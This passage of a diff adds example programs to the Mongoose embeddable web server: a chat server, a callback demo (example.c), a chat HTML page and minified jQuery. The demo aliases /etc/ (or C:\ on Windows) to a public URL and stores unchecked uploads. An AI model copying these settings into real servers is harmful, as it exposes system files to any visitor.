+    const struct mg_request_info *request_info) {
+  int processed = 1;
+
+  if (must_authorize(request_info) &&
+      !is_authorized(conn, request_info)) {
+    // If user is not authorized, redirect to the login form.
+    redirect_to_login(conn, request_info);
+  } else if (strcmp(request_info->uri, authorize_url) == 0) {
+    authorize(conn, request_info);
+  } else if (strcmp(request_info->uri, "/ajax/get_messages") == 0) {
+    ajax_get_messages(conn, request_info);
+  } else if (strcmp(request_info->uri, "/ajax/send_message") == 0) {
+    ajax_send_message(conn, request_info);
+  } else {
+    // No suitable handler found, mark as not processed. Mongoose will
+    // try to serve the request.
+    processed = 0;
+  }
+
+  return processed;
+}
+
+int main(int argc, char *argv[]) {
+  struct mg_context	*ctx;
+
+  ctx = mg_start();
+
+  mg_set_option(ctx, "root", web_root);
+  mg_set_option(ctx, "ssl_cert", ssl_certificate);  // Must be set before ports
+  mg_set_option(ctx, "ports", http_ports);
+  mg_set_option(ctx, "dir_list", "no");   // Disable directory listing
+
+  mg_set_callback(ctx, MG_EVENT_NEW_REQUEST, &process_request);
+
+  printf("Chat server started on ports %s, press enter to quit.\n", http_ports);
+  getchar();
+  mg_stop(ctx);
+  printf("%s\n", "Chat server stopped.");
+
+  return EXIT_SUCCESS;
+}
+
+// vim:ts=2:sw=2:et

+ 302 - 0
examples/example.c

@@ -0,0 +1,302 @@
+/*
+ * This file is an example of how to embed web-server functionality
+ * into existing application.
+ * Compilation line (from Mongoose sources root directory):
+ * cc mongoose.c examples/example.c -I. -lpthread -o example
+ */
+
+#ifdef _WIN32
+#include <winsock.h>
+#define	snprintf			_snprintf
+
+#ifndef _WIN32_WCE
+#ifdef _MSC_VER /* pragmas not valid on MinGW */
+#endif /* _MSC_VER */
+#define ALIAS_URI "/my_c"
+#define ALIAS_DIR "c:\\"
+
+#else /* _WIN32_WCE */
+/* Windows CE-specific definitions */
+#pragma comment(lib,"ws2")
+//#include "compat_wince.h"
+#define ALIAS_URI "/my_root"
+#define ALIAS_DIR "\\"
+#endif /* _WIN32_WCE */
+
+#else
+#include <sys/types.h>
+#include <sys/select.h>
+#include <sys/wait.h>
+#define ALIAS_URI "/my_etc"
+#define ALIAS_DIR "/etc/"
+#endif
+
+#ifndef _WIN32_WCE /* Some ANSI #includes are not available on Windows CE */
+#include <time.h>
+#include <errno.h>
+#include <signal.h>
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <assert.h>
+#include <string.h>
+
+#include "mongoose.h"
+
+/*
+ * This callback function is attached to the "/" and "/abc.html" URIs,
+ * thus is acting as "index.html" file. It shows a bunch of links
+ * to other URIs, and allows to change the value of program's
+ * internal variable. The pointer to that variable is passed to the
+ * callback function as arg->user_data.
+ */
+static void
+show_index(struct mg_connection *conn,
+		const struct mg_request_info *request_info,
+		void *user_data)
+{
+	char		*value;
+	const char	*host;
+
+	/* Change the value of integer variable */
+	value = mg_get_var(conn, "name1");
+	if (value != NULL) {
+		* (int *) user_data = atoi(value);
+		mg_free(value);
+
+		/*
+		 * Suggested by Luke Dunstan. When POST is used,
+		 * send 303 code to force the browser to re-request the
+		 * page using GET method. This prevents the possibility of
+		 * the user accidentally resubmitting the form when using
+		 * Refresh or Back commands in the browser.
+		 */
+		if (!strcmp(request_info->request_method, "POST")) {
+			(void) mg_printf(conn, "HTTP/1.1 303 See Other\r\n"
+				"Location: %s\r\n\r\n", request_info->uri);
+			return;
+		}
+	}
+
+	mg_printf(conn, "%s",
+		"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n"
+		"<html><body><h1>Welcome to embedded example of Mongoose");
+	mg_printf(conn, " v. %s </h1><ul>", mg_version());
+
+	mg_printf(conn, "<li><code>REQUEST_METHOD: %s "
+	    "REQUEST_URI: \"%s\" QUERY_STRING: \"%s\""
+	    " REMOTE_ADDR: %lx REMOTE_USER: \"(null)\"</code><hr>",
+	    request_info->request_method, request_info->uri,
+	    request_info->query_string ? request_info->query_string : "(null)",
+	    request_info->remote_ip);
+	mg_printf(conn, "<li>Internal int variable value: <b>%d</b>",
+			* (int *) user_data);
+
+	mg_printf(conn, "%s",
+		"<form method=\"GET\">Enter new value: "
+		"<input type=\"text\" name=\"name1\"/>"
+		"<input type=\"submit\" "
+		"value=\"set new value using GET method\"></form>");
+	mg_printf(conn, "%s",
+		"<form method=\"POST\">Enter new value: "
+		"<input type=\"text\" name=\"name1\"/>"
+		"<input type=\"submit\" "
+		"value=\"set new value using POST method\"></form>");
+		
+	mg_printf(conn, "%s",
+		"<hr><li><a href=\"/secret\">"
+		"Protected page</a> (guest:guest)<hr>"
+		"<li><a href=\"/huge\">Output lots of data</a><hr>"
+		"<li><a href=\"" ALIAS_URI "/\">Aliased "
+		ALIAS_DIR " directory</a><hr>");
+	mg_printf(conn, "%s",
+		"<li><a href=\"/Makefile\">Regular file (Makefile)</a><hr>"
+		"<li><a href=\"/ssi_test.shtml\">SSI file "
+			"(ssi_test.shtml)</a><hr>"
+		"<li><a href=\"/users/joe/\">Wildcard URI example</a><hr>"
+		"<li><a href=\"/not-existent/\">Custom 404 handler</a><hr>");
+
+	host = mg_get_header(conn, "Host");
+	mg_printf(conn, "<li>'Host' header value: [%s]<hr>",
+	    host ? host : "NOT SET");
+
+	mg_printf(conn, "<li>Upload file example. "
+	    "<form method=\"post\" enctype=\"multipart/form-data\" "
+	    "action=\"/post\"><input type=\"file\" name=\"file\">"
+	    "<input type=\"submit\"></form>");
+
+	mg_printf(conn, "%s", "</body></html>");
+}
+
+/*
+ * This callback is attached to the URI "/post"
+ * It uploads file from a client to the server. This is the demostration
+ * of how to use POST method to send lots of data from the client.
+ * The uploaded file is saved into "uploaded.txt".
+ * This function is called many times during single request. To keep the
+ * state (how many bytes we have received, opened file etc), we allocate
+ * a "struct state" structure for every new connection.
+ */
+static void
+show_post(struct mg_connection *conn,
+		const struct mg_request_info *request_info,
+		void *user_data)
+{
+	const char	*path = "uploaded.txt";
+	FILE		*fp;
+
+	mg_printf(conn, "HTTP/1.0 200 OK\nContent-Type: text/plain\n\n");
+
+	/*
+	 * Open a file and write POST data into it. We do not do any URL
+	 * decoding here. File will contain form-urlencoded stuff.
+	 */
+	if ((fp = fopen(path, "wb+")) == NULL) {
+		(void) fprintf(stderr, "Error opening %s: %s\n",
+		    path, strerror(errno));
+	} else if (fwrite(request_info->post_data,
+	    request_info->post_data_len, 1, fp) != 1) {
+		(void) fprintf(stderr, "Error writing to %s: %s\n",
+		    path, strerror(errno));
+	} else {
+		/* Write was successful */
+		(void) fclose(fp);
+	}
+}
+
+/*
+ * This callback function is attached to the "/secret" URI.
+ * It shows simple text message, but in order to be shown, user must
+ * authorized himself against the passwords file "passfile".
+ */
+static void
+show_secret(struct mg_connection *conn,
+		const struct mg_request_info *request_info,
+		void *user_data)
+{
+	mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
+	mg_printf(conn, "%s", "Content-Type: text/html\r\n\r\n");
+	mg_printf(conn, "%s", "<html><body>");
+	mg_printf(conn, "%s", "<p>This is a protected page</body></html>");
+}
+
+/*
+ * This callback function is attached to the "/huge" URI.
+ * It outputs binary data to the client.
+ * The number of bytes already sent is stored directly in the arg->state.
+ */
+static void
+show_huge(struct mg_connection *conn,
+		const struct mg_request_info *request_info,
+		void *user_data)
+{
+	int		i;
+	const char	*line = "Hello, this is a line of text";
+
+	mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
+	mg_printf(conn, "%s", "Content-Type: text/plain\r\n\r\n");
+
+	for (i = 0; i < 1024 * 1024; i++)
+		mg_printf(conn, "%s\n", line);
+}
+
+/*
+ * This callback function is used to show how to handle 404 error
+ */
+static void
+show_404(struct mg_connection *conn,
+		const struct mg_request_info *request_info,
+		void *user_data)
+{
+	mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
+	mg_printf(conn, "%s", "Content-Type: text/plain\r\n\r\n");
+	mg_printf(conn, "%s", "Oops. File not found! ");
+	mg_printf(conn, "%s", "This is a custom error handler.");
+}
+
+/*
+ * This callback function is attached to the wildcard URI "/users/.*"
+ * It shows a greeting message and an actual URI requested by the user.
+ */
+static void
+show_users(struct mg_connection *conn,
+		const struct mg_request_info *request_info,
+		void *user_data)
+{
+	mg_printf(conn, "%s", "HTTP/1.1 200 OK\r\n");
+	mg_printf(conn, "%s", "Content-Type: text/html\r\n\r\n");
+	mg_printf(conn, "%s", "<html><body>");
+	mg_printf(conn, "%s", "<h1>Hi. This is a wildcard uri handler"
+	    "for the URI /users/*/ </h1>");
+	mg_printf(conn, "<h2>URI: %s</h2></body></html>", request_info->uri);
+}
+
+/*
+ * Make sure we have ho zombies from CGIs
+ */
+static void
+signal_handler(int sig_num)
+{
+	switch (sig_num) {
+#ifndef _WIN32
+	case SIGCHLD:
+		while (waitpid(-1, &sig_num, WNOHANG) > 0) ;
+		break;
+#endif /* !_WIN32 */
+	default:
+		break;
+	}
+}
+
+int main(int argc, char *argv[])
+{
+	int			data = 1234567;
+	struct mg_context	*ctx;
+	
+	/* Get rid of warnings */
+	argc = argc;
+	argv = argv;
+
+#ifndef _WIN32
+	signal(SIGPIPE, SIG_IGN);
+	signal(SIGCHLD, &signal_handler);
+#endif /* !_WIN32 */
+
+	/*
+	 * Initialize SHTTPD context.
+	 * Attach folder c:\ to the URL /my_c  (for windows), and
+	 * /etc/ to URL /my_etc (for UNIX). These are Apache-like aliases.
+	 * Set WWW root to current directory.
+	 * Start listening on ports 8080 and 8081
+	 */
+	ctx = mg_start();
+	mg_set_option(ctx, "ssl_cert", "ssl_cert.pem");
+	mg_set_option(ctx, "aliases", ALIAS_URI "=" ALIAS_DIR);
+	mg_set_option(ctx, "ports", "8080,8081s");
+
+	/* Register an index page under two URIs */
+	mg_set_uri_callback(ctx, "/", &show_index, (void *) &data);
+	mg_set_uri_callback(ctx, "/abc.html", &show_index, (void *) &data);
+
+	/* Register a callback on wildcard URI */
+	mg_set_uri_callback(ctx, "/users/*/", &show_users, NULL);
+
+	/* Show how to use password protection */
+	mg_set_uri_callback(ctx, "/secret", &show_secret, NULL);
+	mg_set_option(ctx, "protect", "/secret=passfile");
+
+	/* Show how to use stateful big data transfer */
+	mg_set_uri_callback(ctx, "/huge", &show_huge, NULL);
+
+	/* Register URI for file upload */
+	mg_set_uri_callback(ctx, "/post", &show_post, NULL);
+
+	mg_set_error_callback(ctx, 404, show_404, NULL);
+
+	/* Wait until user presses 'enter' on console */
+	(void) getchar();
+	mg_stop(ctx);
+
+	return (EXIT_SUCCESS);
+}

+ 68 - 0
examples/html/index.html

@@ -0,0 +1,68 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> 
+  <!-- This file is part of the  Mongoose project,
+    http://code.google.com/p/mongoose -->
+  <head>
+    <title>Mongoose chat server</title>
+    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+    <link type="text/css" rel="stylesheet" href="style.css"/>
+    <script src="jquery.js"></script>
+    <script src="main.js"></script>
+  </head>
+
+  <body>
+  <div id="header">
+    <div class="rounded infobox help-message">
+      Chat room implemented using
+      <a href="http://code.google.com/p/mongoose" target="_blank">Mongoose</a>
+      embeddable web server.
+      This application was written for educational purposes demonstrating
+      how web interface could be decoupled from the business logic. Not a
+      single line of HTML is generated by the server, instead, server
+      communicates data in JSON format using AJAX calls.  Such chat server
+      could be used in your application as a collaboration tool.
+    </div>
+  </div>
+
+  <div id="middle">
+    <div><center><span id="error" class="rounded"></span><center></div>
+
+    <div id="menu">
+      <div class="menu-item left-rounded menu-item-selected"
+      	name="chat">Chat</div>
+      <div class="menu-item left-rounded" name="settings">Settings</div>
+    </div>
+
+    <div id="content" class="rounded">
+
+      <div id="chat" class="main">
+        <div class="chat-window">
+          <span class="top-rounded chat-title">Main room</span>
+          <div class="bottom-rounded chat-content">
+            <div class="message-list" id="mml">
+            </div>
+            <input type="text" size="40" class="message-input"></input>
+            <span class="help-message">
+              Type your message here and press enter</span>
+          </div>
+        </div>
+      </div>
+
+      <div id="settings" class="hidden main">
+        <div>
+          <span class="top-rounded">Settings</span>
+          <div class="bottom-rounded">
+          </div>
+        </div>
+      </div>
+
+    </div>
+  </div>
+
+  <div id="footer">
+    Copyright &copy; 2004-2010 by Sergey Lyubka
+  </div>
+
+  </body>
+</html>

+ 154 - 0
examples/html/jquery.js

@@ -0,0 +1,154 @@
+/*!
+ * jQuery JavaScript Library v1.4.2
+ * http://jquery.com/
+ *
+ * Copyright 2010, John Resig
+ * Dual licensed under the MIT or GPL Version 2 licenses.
+ * http://jquery.org/license
+ *
+ * Includes Sizzle.js
+ * http://sizzlejs.com/
+ * Copyright 2010, The Dojo Foundation
+ * Released under the MIT, BSD, and GPL Licenses.
+ *
+ * Date: Sat Feb 13 22:33:48 2010 -0500
+ */
+(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o<i;o++)e(a[o],b,f?d.call(a[o],o,e(a[o],b)):d,j);return a}return i?
+e(a[0],b):w}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function na(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function oa(a){var b,d=[],f=[],e=arguments,j,i,o,k,n,r;i=c.data(this,"events");if(!(a.liveFired===this||!i||!i.live||a.button&&a.type==="click")){a.liveFired=this;var u=i.live.slice(0);for(k=0;k<u.length;k++){i=u[k];i.origType.replace(O,"")===a.type?f.push(i.selector):u.splice(k--,1)}j=c(a.target).closest(f,a.currentTarget);n=0;for(r=
+j.length;n<r;n++)for(k=0;k<u.length;k++){i=u[k];if(j[n].selector===i.selector){o=j[n].elem;f=null;if(i.preType==="mouseenter"||i.preType==="mouseleave")f=c(a.relatedTarget).closest(i.selector)[0];if(!f||f!==o)d.push({elem:o,handleObj:i})}}n=0;for(r=d.length;n<r;n++){j=d[n];a.currentTarget=j.elem;a.data=j.handleObj.data;a.handleObj=j.handleObj;if(j.handleObj.origHandler.apply(j.elem,e)===false){b=false;break}}return b}}function pa(a,b){return"live."+(a&&a!=="*"?a+".":"")+b.replace(/\./g,"`").replace(/ /g,
+"&")}function qa(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function ra(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var j in f)for(var i in f[j])c.event.add(this,j,f[j][i],f[j][i].data)}}})}function sa(a,b,d){var f,e,j;b=b&&b[0]?b[0].ownerDocument||b[0]:s;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&b===s&&!ta.test(a[0])&&(c.support.checkClone||!ua.test(a[0]))){e=
+true;if(j=c.fragments[a[0]])if(j!==1)f=j}if(!f){f=b.createDocumentFragment();c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=j?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(va.concat.apply([],va.slice(0,b)),function(){d[this]=a});return d}function wa(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Ra=A.jQuery,Sa=A.$,s=A.document,T,Ta=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/,
+Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&&
+(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,
+a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b===
+"find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,
+function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(j in e){i=a[j];o=e[j];if(a!==o)if(f&&o&&(c.isPlainObject(o)||c.isArray(o))){i=i&&(c.isPlainObject(i)||
+c.isArray(i))?i:c.isArray(o)?[]:{};a[j]=c.extend(f,i,o)}else if(o!==w)a[j]=o}return a};c.extend({noConflict:function(a){A.$=Sa;if(a)A.jQuery=Ra;return c},isReady:false,ready:function(){if(!c.isReady){if(!s.body)return setTimeout(c.ready,13);c.isReady=true;if(Q){for(var a,b=0;a=Q[b++];)a.call(s,c);Q=null}c.fn.triggerHandler&&c(s).triggerHandler("ready")}},bindReady:function(){if(!xa){xa=true;if(s.readyState==="complete")return c.ready();if(s.addEventListener){s.addEventListener("DOMContentLoaded",
+L,false);A.addEventListener("load",c.ready,false)}else if(s.attachEvent){s.attachEvent("onreadystatechange",L);A.attachEvent("onload",c.ready);var a=false;try{a=A.frameElement==null}catch(b){}s.documentElement.doScroll&&a&&ma()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,
+"isPrototypeOf"))return false;var b;for(b in a);return b===w||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;a=c.trim(a);if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return A.JSON&&A.JSON.parse?A.JSON.parse(a):(new Function("return "+
+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Va.test(a)){var b=s.getElementsByTagName("head")[0]||s.documentElement,d=s.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(s.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,j=a.length,i=j===w||c.isFunction(a);if(d)if(i)for(f in a){if(b.apply(a[f],
+d)===false)break}else for(;e<j;){if(b.apply(a[e++],d)===false)break}else if(i)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=a[0];e<j&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Wa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===
+a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==w;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,j=a.length;e<j;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,j=0,i=a.length;j<i;j++){e=b(a[j],j,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=w}else if(b&&
+!c.isFunction(b)){d=b;b=w}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});P=c.uaMatch(P);if(P.browser){c.browser[P.browser]=true;c.browser.version=P.version}if(c.browser.webkit)c.browser.safari=
+true;if(ya)c.inArray=function(a,b){return ya.call(b,a)};T=c(s);if(s.addEventListener)L=function(){s.removeEventListener("DOMContentLoaded",L,false);c.ready()};else if(s.attachEvent)L=function(){if(s.readyState==="complete"){s.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=s.documentElement,b=s.createElement("script"),d=s.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML="   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";
+var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected,
+parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent=
+false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n=
+s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,
+applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];
+else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,
+a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===
+w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,
+cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className){for(var j=" "+e.className+" ",
+i=e.className,o=0,k=b.length;o<k;o++)if(j.indexOf(" "+b[o]+" ")<0)i+=" "+b[o];e.className=c.trim(i)}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(k){var n=c(this);n.removeClass(a.call(this,k,n.attr("class")))});if(a&&typeof a==="string"||a===w)for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var j=(" "+e.className+" ").replace(Aa," "),i=0,o=b.length;i<o;i++)j=j.replace(" "+b[i]+" ",
+" ");e.className=c.trim(j)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var j=c(this);j.toggleClass(a.call(this,e,j.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,j=0,i=c(this),o=b,k=a.split(ca);e=k[j++];){o=f?o:!i.hasClass(e);i[o?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=
+this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(Aa," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j<d;j++){var i=
